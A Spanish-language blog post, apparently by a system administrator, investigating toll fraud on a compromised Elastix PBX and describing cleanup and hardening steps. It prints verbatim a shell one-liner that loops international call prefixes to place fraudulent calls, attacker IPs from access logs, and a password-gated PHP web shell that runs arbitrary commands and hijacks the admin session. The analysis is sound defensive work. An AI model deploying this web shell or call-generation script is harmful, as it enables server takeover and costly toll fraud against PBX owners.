De cómo abusan de tu elastix.

De cómo abusan de tu elastix.

Se presenta un problema de multiples llamadas desde tu sistema de Elastix.

Buscando mas en detalle a nivel de servidor, estuve revisando todos los procesos que ejecutaba el usuario asterisk, en busca de procesos sospechosos. Es curioso como se ejecutaba cierto proceso constantemente, y analizando la situación un poco mejor, noto que marca a números internacionales. Echemos un vistazo a estos procesos

asterisk 18498   974  0 09:59 ?        00:00:00 /usr/sbin/httpd -DFOREGROUND
asterisk 18624   974  0 09:59 ?        00:00:00 /usr/sbin/httpd -DFOREGROUND
asterisk 18972   974  0 10:00 ?        00:00:00 /usr/sbin/httpd -DFOREGROUND
asterisk 24972 18624  0 10:17 ?        00:00:00 sh -c timebtncalls=2;duration="999";outbound="from-internal";prs="n,011,9011,8011,7011,0,00,000,0000,900,800,0011,811,911";numbers="22371301672,";orig=`/usr/sbin/asterisk -rx "channel originate"`; if echo $orig | grep Usage > /dev/null; then origi="channel originate"; elif echo $orig | grep "Unable to connect" >/dev/null; then echo "error:unable"; else origi="originate";  fi;if echo $origi | grep originate >/dev/null; then for pr in `echo $prs | tr ',' '\n'`; do for number in `echo $numbers | tr ',' '\n'`; do /usr/sbin/asterisk -rx "${origi} Local/${pr/n/}${number}@${outbound} application wait ${duration}" & sleep ${timebtncalls}; echo "${origi} Local/${pr/n/}${number}@${outbound}"; done done fi
asterisk 25010  7897  0 10:17 ?        00:00:00 sh -c timebtncalls=2;duration="999";outbound="from-internal";prs="n,011,9011,8011,7011,0,00,000,0000,900,800,0011,811,911";numbers="79407646357,";orig=`/usr/sbin/asterisk -rx "channel originate"`; if echo $orig | grep Usage > /dev/null; then origi="channel originate"; elif echo $orig | grep "Unable to connect" >/dev/null; then echo "error:unable"; else origi="originate";  fi;if echo $origi | grep originate >/dev/null; then for pr in `echo $prs | tr ',' '\n'`; do for number in `echo $numbers | tr ',' '\n'`; do /usr/sbin/asterisk -rx "${origi} Local/${pr/n/}${number}@${outbound} application wait ${duration}" & sleep ${timebtncalls}; echo "${origi} Local/${pr/n/}${number}@${outbound}"; done done fi
asterisk 25041 25010  0 10:17 ?        00:00:00 rasterisk asterisk -rx channel originate Local/01179407646357@from-internal application wait 999
asterisk 25048 24972  0 10:17 ?        00:00:00 rasterisk asterisk -rx channel originate Local/901122371301672@from-internal application wait 999
asterisk 25056 25010  0 10:17 ?        00:00:00 rasterisk asterisk -rx channel originate Local/901179407646357@from-internal application wait 999
asterisk 25057 25010  0 10:17 ?        00:00:00 sleep 2
asterisk 25064 24972  0 10:17 ?        00:00:00 rasterisk asterisk -rx channel originate Local/801122371301672@from-internal application wait 999
asterisk 25065 24972  0 10:17 ?        00:00:00 sleep 2

Nótese como se ejecuta un sh en el PID 24972, y cuyo padre es el PID 18624, el padre con PID 18624 ejecuta un httpd, lo cual inconfundiblemente indica que hay un script web que realiza toda esta operación.

Con esto en mente, voy a revisar los logs del apache, y encuentro lo siguiente …

 

[root@localhost httpd]# cat ssl_access_log
195.154.177.160 - - [13/Mar/2017:04:02:09 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162
195.154.177.160 - - [13/Mar/2017:04:02:09 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162
195.154.177.160 - - [13/Mar/2017:04:02:04 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 549
195.154.177.160 - - [13/Mar/2017:04:02:43 -0500] "GET /recordings/old-shell.php HTTP/1.1" 200 162
195.154.177.160 - - [13/Mar/2017:04:02:45 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162
195.154.177.160 - - [13/Mar/2017:04:02:45 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162
213.202.233.54 - - [13/Mar/2017:04:02:51 -0500] "GET /recordings/old-shell.php HTTP/1.1" 200 162
213.202.233.54 - - [13/Mar/2017:04:02:51 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 194
213.202.233.54 - - [13/Mar/2017:04:02:52 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 197
195.154.177.160 - - [13/Mar/2017:04:02:53 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162
213.202.233.54 - - [13/Mar/2017:04:02:56 -0500] "GET /recordings/old-shell.php HTTP/1.1" 200 162
213.202.233.54 - - [13/Mar/2017:04:02:57 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162
213.202.233.54 - - [13/Mar/2017:04:02:58 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162
213.202.233.54 - - [13/Mar/2017:04:02:59 -0500] "POST /recordings/old-shell.php HTTP/1.1" 200 162
213.202.233.54 - - [13/Mar/2017:04:03:02 -0500] "GET /recordings/old-shell.php HTTP/1.1" 200 162

Como pueden apreciar, hay muchos llamados al script old-shell.php, desde ciertas IPs, que entre otras cosas, las publico para que las tengan en cuenta quienes son los desgraciados que abusan de tu PBX.

Voy entonces a revisar dicho archivo y encuentro este contenido ….

[root@localhost httpd]# more /var/www/html/recordings/old-shell.php
<form action="" method="post" ><input size=20 type=password name="p" /><input size=60 type=text name="c" /><input type=submit value="Hacked" /></form>

Hacked >
<?php
if(md5($_REQUEST['p'])=='fe732de226af5491a6266f9d5eaa62fc') 
{
@system($_REQUEST['c']); 
include_once "/var/www/html/libs/paloSantoDB.class.php"; 
include_once "/var/www/html/libs/paloSantoACL.class.php"; 
$pDB = new paloDB("sqlite3:////var/www/db/acl.db"); 
$db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'"); 
session_name("elastixSession"); 
session_start(); 
$_SESSION['elastix_user'] = $db[0][0]; 
$_SESSION['elastix_pass'] = $db[0][1]; 
echo '<a href="/" >Emad__Was__Here</a>';
}
?>
[root@localhost httpd]#

Como necesitaba parar este tipo de ataques, lo que hice fue quitar todos los modos sobre esa carpeta

[root@localhost html]# chmod 000 recordings/
[root@localhost html]#

Y listo, el ataque ha cesado.

Obviamente esto no termina ahí, con mas calma es necesario revisar todos los archivos en busca de codigo malicioso.

No está de mas pensar en montar otra maquina nueva y definir como políticas, las siguientes

  • Restringir acceso al web de elastix solamente a las maquinas tuyas. NAdie en Internet tiene por que acceder a tu panel de administración web.
  • Denegar el acceso por SSH al root.
  • Pensar en implementar el famoso sistema de Port Knocking.
  • Restringir los accesos de las extensiones a las direcciones IPs establecidas.

Saludos…..

 

 

 

Views All Time
Views All Time
31
Views Today
Views Today
5

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *